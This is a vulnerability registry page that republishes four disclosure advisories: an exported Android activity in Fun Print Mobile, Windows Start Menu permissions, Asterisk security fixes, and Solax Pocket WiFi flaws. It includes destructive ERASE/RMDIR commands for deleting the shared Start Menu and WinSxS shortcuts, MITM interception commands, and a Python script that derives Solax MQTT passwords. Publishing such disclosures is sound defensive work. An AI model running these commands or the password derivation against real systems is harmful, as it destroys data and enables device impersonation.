- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0211
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Summary
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Title: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Advisory ID: KL-001-2026-001
Publication Date: 2026-01-08
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.txt
1. Vulnerability Details
Affected Vendor: yintibao
Affected Product: Fun Print Mobile
Affected Version: 6.05.15
Platform: ARM64 - Android
CWE Classification: CWE-926: Improper Export of Android
Application Components
CVE ID: CVE-2025-15464
2. Vulnerability Description
Exported Activity allows external applications to gain
application context and directly launch Gmail with inbox access,
bypassing security controls.
3. Technical Description
* Performed on Android 13 aarch64 - Samsung (Galaxy Tab A7 Lite)
* Using Frida client on Ubuntu 24.04 LTS - Frida server on
Samsung Rooted Device.
* The target Activity is exported true. Which means any
application may interact with it, given that permissions are
provided.
* The attacking host needs to attach the device email to the
application; then the account can be used by the application.
The PandoraEntry activity is exported (android:exported="true")
and processes external intents without validation. Below is
the PandoraEntryActivity code:
protected void onCreate(Bundle bundle) {
// ... INITALIZATION CODE ... super.onCreate(bundle);
// BELOW EXTERNAL INTENT ACCEPTED WITHOUT VALIDATION Intent
intent = getIntent();
// ... PROCESSING CONTINUES WITH UNVALIDATED INTENT ...
if (intent.hasExtra(IntentConst.START_FROM_TO_CLASS) &&
SDK.isUniMPSDK()) {
String stringExtra =
intent.getStringExtra(IntentConst.START_FROM_TO_CLASS);
if (!TextUtils.isEmpty(stringExtra) &&
stringExtra.startsWith("io.dcloud.feature.sdk.multi")) {
intent.setClassName(getPackageName(), stringExtra);
intent.removeExtra(IntentConst.START_FROM_TO_CLASS);
}
} else {
intent.putExtra(IntentConst.WEBAPP_SHORT_CUT_CLASS_NAME,
PandoraEntry.class.getName()); intent.setClass(this,
PandoraEntryActivity.class);
}
//UNVALIDATED INTENT FORWARDED startActivity(intent);
overridePendingTransition(0, 0);
}
4. Mitigation and Remediation Recommendation
No response from vendor. There are no known mitigations to
end-users of the affected application version(s).
5. Credit
This vulnerability was discovered by Felix Segoviano of
KoreLogic, Inc.
6. Disclosure Timeline
2025-12-01 : KoreLogic requests security contact from vendor
via weizhengsl () vip qq com and 277517409 () qq com.
2025-12-08 : KoreLogic submits vulnerability details to vendor
via weizhengsl () vip qq com and 277517409 () qq com.
2026-01-08 : KoreLogic public disclosure.
7. Proof of Concept
URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.poc.js.txt
SHA256sum: ddb3c840c94b204fbbe2931a68771ae28d8ea9c778310cfa83e218a64a41ffd5
The contents of this advisory are copyright(c) 2026
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | KL-001-2026-01 yintibao Fun |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0211 (this record)
- related CVE-2025-15464
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We are also developers of various\ntools and resources aimed at helping the security community.\nhttps://www.korelogic.com/about-korelogic.html\n\nOur public vulnerability disclosure policy is available at:\nhttps://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0210
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Defense in depth -- the Microsoft way (part 95): the (shared) "Start Menu" is dispensable
Summary
Hi @ll,
the following is a condensed form of
<https://skanthak.hier-im-netz.de/whispers.html#whisper3> and
<https://skanthak.hier-im-netz.de/whispers.html#whisper4>.
Windows Vista moved the shared start menu from "%ALLUSERSPROFILE%\Start Menu\"
to "%ProgramData%\Microsoft\Windows\Start Menu\", with some shortcuts (*.lnk)
"reflected" from the (immutable) component store below %SystemRoot%\WinSxS\
JFTR: "reflection" is M$FT lingo for hardlink into the component store.
Before this move only Administrators had write access to the shared start menu;
afterwards at least the user account(s) created during Windows setup (OOBE,
out of box experience) are granted DELETE and DELETE_CHILD access permission.
Demonstration
~~~~~~~~~~~~~
Log on to an arbitrary (unprivileged) user account, start the command processor
and run the following command line to display the access permissions of the
shared start menu:
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu"
| C:\ProgramData\Microsoft\Windows\Start Menu COMPUTER\User:(OI)(CI)(IO)(DE,DC)
| S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)
| COMPUTER\Administrator:(OI)(CI)(IO)(DE,DC)
| NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
| BUILTIN\Administrators:(I)(OI)(CI)(F)
| BUILTIN\Users:(I)(OI)(CI)(RX)
| Everyone:(I)(OI)(CI)(RX)
Instead of "COMPUTER" you get your computer name (see the environment variables
%COMPUTERNAME% and %USERDOMAIN%); instead of "User" and "Administrator" you get
the first/primary and the localized administrator account name.
"(OI)(CI)(IO)(DE,DC)" means "inherit DELETE and DELETE CHILD access permission
to all objects/files and containers/directories below this directory".
Run the following command line to confirm the latter:
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /T | FINDSTR.EXE /L "%ProgramData% (DE,DC)"
"Thanks" to the braindead "reflection" of shortcuts (generally: files) from
the component store their access permissions are changed too:
ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /T | FINDSTR.EXE /L "%SystemRoot% (DE,DC)"
Exploit
~~~~~~~
"Thanks" to the DELETE_CHILD access permission some unprivileged users can
since NINETEEN years remove the shared start menu COMPLETELY!
ERASE /A:HS /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini"
ERASE /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk"
RMDIR /Q /S "%ProgramData%\Microsoft\Windows\Start Menu"
"Thanks" to the braindead "reflection" of shortcuts (generally: files) from
the component store the same unprivileged users can also erase them there
and destroy the integrity of the component store:
ERASE /F /Q /S "%SystemRoot%\WinSxS\*.lnk"
Fix
~~~
Remove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /Remove:g "%USERDOMAIN%\Administrator"
"%USERDOMAIN%\%USERNAME%"
"%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T
ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%"
"%USERDOMAIN%\User"
*S-1-5-21-xxx-yyy-zzz-RID ... /T
stay tuned, and far away from unprotected system( file)s
Stefan Kanthak
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Defense in depth |
Affected:
unknown
|
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"value": "Hi @ll,\n\nthe following is a condensed form of\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper3\u003e and\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper4\u003e.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n| S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n| COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n| NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n| BUILTIN\\Administrators:(I)(OI)(CI)(F)\n| BUILTIN\\Users:(I)(OI)(CI)(RX)\n| Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0205
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Certified Asterisk Security Release certified-20.7-cert9
Summary
The Asterisk Development Team would like to announce security release
Certified Asterisk 20.7-cert9.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert9
and
https://downloads.asterisk.org/pub/telephony/certified-asterisk
Repository: https://github.com/asterisk/asterisk
Tag: certified-20.7-cert9
## Change Log for Release asterisk-certified-20.7-cert9
### Links:
- [Full
ChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert9.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-20.7-cert8...certified-20.7-cert9)
- [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert9.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk)
### Summary:
- Commits: 4
- Commit Authors: 2
- Issues Resolved: 0
- Security Advisories Resolved: 4
- [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c
uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper
running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation
- [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk
embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization
- [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper
runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation
### User Notes:
- #### ast_coredumper: check ast_debug_tools.conf permissions
ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
### Upgrade Notes:
- #### http.c: Change httpstatus to default disabled and sanitize output.
To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
### Developer Notes:
### Commit Authors:
- George Joseph: (2)
- Mike Bradeen: (2)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially
leading to privilege escalation
- !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and
query string) without sanitization
- !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to
potential privilege escalation
### Commits By Author:
- #### George Joseph (2):
- #### Mike Bradeen (2):
### Commit List:
- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
- ast_coredumper: check ast_debug_tools.conf permissions
- http.c: Change httpstatus to default disabled and sanitize output.
- ast_coredumper: create gdbinit file with restrictive permissions
### Commit Details:
#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
Author: George Joseph
Date: 2026-01-15
The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external
entities, could allow a potential XXE injection attack. Replacing it with
XML_PARSE_NONET, which prevents network access, is safer.
Resolves: #GHSA-85x7-54wr-vh42
#### ast_coredumper: check ast_debug_tools.conf permissions
Author: Mike Bradeen
Date: 2026-01-15
Prevent ast_coredumper from using ast_debug_tools.conf files that are
not owned by root or are writable by other users or groups.
Prevent ast_logescalator and ast_loggrabber from doing the same if
they are run as root.
Resolves: #GHSA-rvch-3jmx-3jf3
UserNote: ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
#### http.c: Change httpstatus to default disabled and sanitize output.
Author: George Joseph
Date: 2026-01-15
To address potential security issues, the httpstatus page is now disabled
by default and the echoed query string and cookie output is html-escaped.
Resolves: #GHSA-v6hp-wh3r-cwxh
UpgradeNote: To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
#### ast_coredumper: create gdbinit file with restrictive permissions
Author: Mike Bradeen
Date: 2026-01-15
Modify gdbinit to use the install command with explicit permissions (-m 600)
when creating the .ast_coredumper.gdbinit file. This ensures the file is
created with restricted permissions (readable/writable only by the owner)
to avoid potential privilege escalation.
Resolves: #GHSA-xpc6-x892-v83c
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Certified Asterisk Security |
Affected:
unknown
|
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"value": "The Asterisk Development Team would like to announce security release \nCertified Asterisk 20.7-cert9.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert9\nand\nhttps://downloads.asterisk.org/pub/telephony/certified-asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: certified-20.7-cert9\n\n\n## Change Log for Release asterisk-certified-20.7-cert9\n\n### Links:\n\n - [Full \nChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert9.html)\n \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-20.7-cert8...certified-20.7-cert9) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert9.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk) \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n- ast_coredumper: check ast_debug_tools.conf permissions\n- http.c: Change httpstatus to default disabled and sanitize output.\n- ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n Author: George Joseph\n Date: 2026-01-15\n\n The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n entities, could allow a potential XXE injection attack. Replacing it with\n XML_PARSE_NONET, which prevents network access, is safer.\n\n Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Prevent ast_coredumper from using ast_debug_tools.conf files that are\n not owned by root or are writable by other users or groups.\n\n Prevent ast_logescalator and ast_loggrabber from doing the same if\n they are run as root.\n\n Resolves: #GHSA-rvch-3jmx-3jf3\n\n UserNote: ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n Author: George Joseph\n Date: 2026-01-15\n\n To address potential security issues, the httpstatus page is now disabled\n by default and the echoed query string and cookie output is html-escaped.\n\n Resolves: #GHSA-v6hp-wh3r-cwxh\n\n UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. 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GCVE-1988-2026-0198
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
SEC Consult SA-20260212-0 :: Multiple Vulnerabilities in various Solax Power Pocket WiFi models
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260212-0 >
=======================================================================
title: Multiple Vulnerabilities
product: Various Solax Power Pocket WiFi models
vulnerable version: See section below
fixed version: See section below
CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575
impact: High
homepage:https://www.solaxpower.com
found: 2025-04-15
by: Stefan Viehböck
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Founded in 2012, SolaX has rapidly risen to become a global leader in
photovoltaic energy storage systems and solutions. Leading the way in
industry innovation, SolaX introduced Asia’s first energy storage inverter
and has successfully launched five major product series over the years."
Source:https://www.solaxpower.com/about/
Business recommendation:
------------------------
The vendor provides patches for the affected Pocket models which can be
obtained throw their customers' Solax Cloud accounts and using the Pocket
firmware upgrade function there. They should be installed immediately if
the device is not already patched.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573)
The device does not validate the server certificate when connecting to the
SolaX Cloud MQTTS server hosted in the Alibaba Cloud
(mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a
man-in-the-middle position to act as the legitimate MQTT server and issuing
arbitrary commands to devices.
Large scale man-in-the-middle attacks are feasible for attackers with the
capabilities to execute attacks such as BGP hijacking, DNS spoofing or
intercepting communication at the backbone level (e.g. nation state).
Possible threats are:
- Disrupting the electric grid by repeatedly starting/stopping inverters.
- Getting initial access to the victim's local networks by flashing malicious
firmware on the dongles.
- Causing physical damage by flashing malicious firmware on the inverters
(disabling firmware-based safety checks + introducing malicious behavior like
overvoltage, frequency mismatches, etc.).
2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)
When connecting to the Solax Cloud MQTT server the username is the
"registration number", which is the 10 character string printed on the device /
the QR code on the device. The password is derived from the "registration
number" using a proprietary XOR/transposition algorithm.
Attackers with the knowledge of the registration numbers can connect to the
MQTT server and impersonate the dongle / inverters.
3) Missing Firmware Authenticity Checks (CVE-2025-15575)
The firmware update functionality does not verify the authenticity of the
supplied firmware update files. This allows attackers to flash malicious
firmware update files on the device.
Proof of concept:
-----------------
1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573)
The following commands can be used to intercept the communication between a device
and the Solax Cloud.
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080
mitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set
tls_version_server_min=TLS1_2 -k -v
2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)
The following python script implements the password derivation given the
registration number:
python ```
import re
def generate_solax_password(registration_number):
registration_number = bytearray(registration_number.encode())
password = bytearray(8)
password[0] = registration_number[7]
password[1] = registration_number[4]
password[2] = registration_number[3]
password[3] = registration_number[6]
password[4] = registration_number[5]
password[5] = registration_number[2]
password[6] = registration_number[9]
password[7] = registration_number[8]
for i in range(len(password)):
xored = password[i] ^ 0xb
if re.match(r'[A-Z0-9]', chr(xored)):
password[i] = xored
else:
print('else case')
password[i] = ord('A')
return password.decode('ascii')
registration_number = "SM3XXXXXXX"
password = generate_solax_password(registration_number)
print(registration_number,password)
```
3) Missing Firmware Authenticity Checks (CVE-2025-15575)
No proof-of-concept is provided. Initial analysis of the firmware update
functionality does not show any cryptographic checks (e.g. digital signature
checks) on the supplied firmware update files.
Furthermore, ESP32 security features such as secure boot are not used.
Vulnerable / tested versions:
-----------------------------
The following version has been tested on a Solax Power Pocket WiFi V3:
* 618.00415.00_Pocket_WIFI_V3.015.02_20240122
It is likely that other SolaX / QCells products that directly connect to the
SolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles,
Adapter Box, EV Charger, etc.
The vendor provided the following further affected products:
1. Pocket WiFi 3.0
2. Pocket WiFi+LAN
3. Pocket WiFi+4GM
4. Pocket WiFi+LAN 2.0
5. Pocket WiFi 4.0
Vendor contact timeline:
------------------------
2025-05-05: Contacting vendor throughservice () solaxpower com; no response.
2025-05-16: Contacting vendor through multiple other email addresses from their
website.
2025-05-20: Asking a direct contact at SolaX Power for a security contact.
2025-05-27: Vendor security team responds with PGP key.
2025-05-28: Sending encrypted advisory.
2025-06-09: Vendor responds with analysis of the issues and that
a new firmware will be released by the end of July 2025.
2025-06-12: Asking a few follow-up questions, which other products are affected,
and whether manual update is necessary or automatically pushed.
No response.
2025-07-10: Asking vendor again & regarding patch availability. No response.
2026-02-09: Following up again, setting release date to 26th February, reserving
CVE numbers.
2026-02-10: Vendor provides detailed model information with updated firmware versions.
Setting disclosure date to 12th February as everything is fixed
according to the vendor.
2026-02-26: Public release of advisory.
Solution:
---------
The vendor provides patches for the affected Pocket models which can be
obtained throw their customer's Solax Cloud account and using the Pocket
firmware upgrade function there.
As of February 10, 2026, the firmware versions for each affected Pocket model
are as follows according to the vendor:
1. Pocket WiFi 3.0 – (3.022.03)
2. Pocket WiFi+LAN – (1.009.02)
3. Pocket WiFi+4GM – (1.005.05)
4. Pocket WiFi+LAN 2.0 – (006.06)
5. Pocket WiFi 4.0 – (003.03)
The vendor provided the following further information regarding EV Charger
and Adapter Box:
1. EV Charger: The WiFi module firmware supports digital signature, but only one-way
authentication is implemented.
2. Adapter Box: The WiFi module firmware supports two-way authentication and digital
signature.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Stefan Viehböck / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SEC Consult SA-20260212-0 |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0198 (this record)
- related CVE-2025-15573
- related CVE-2025-15574
- related CVE-2025-15575
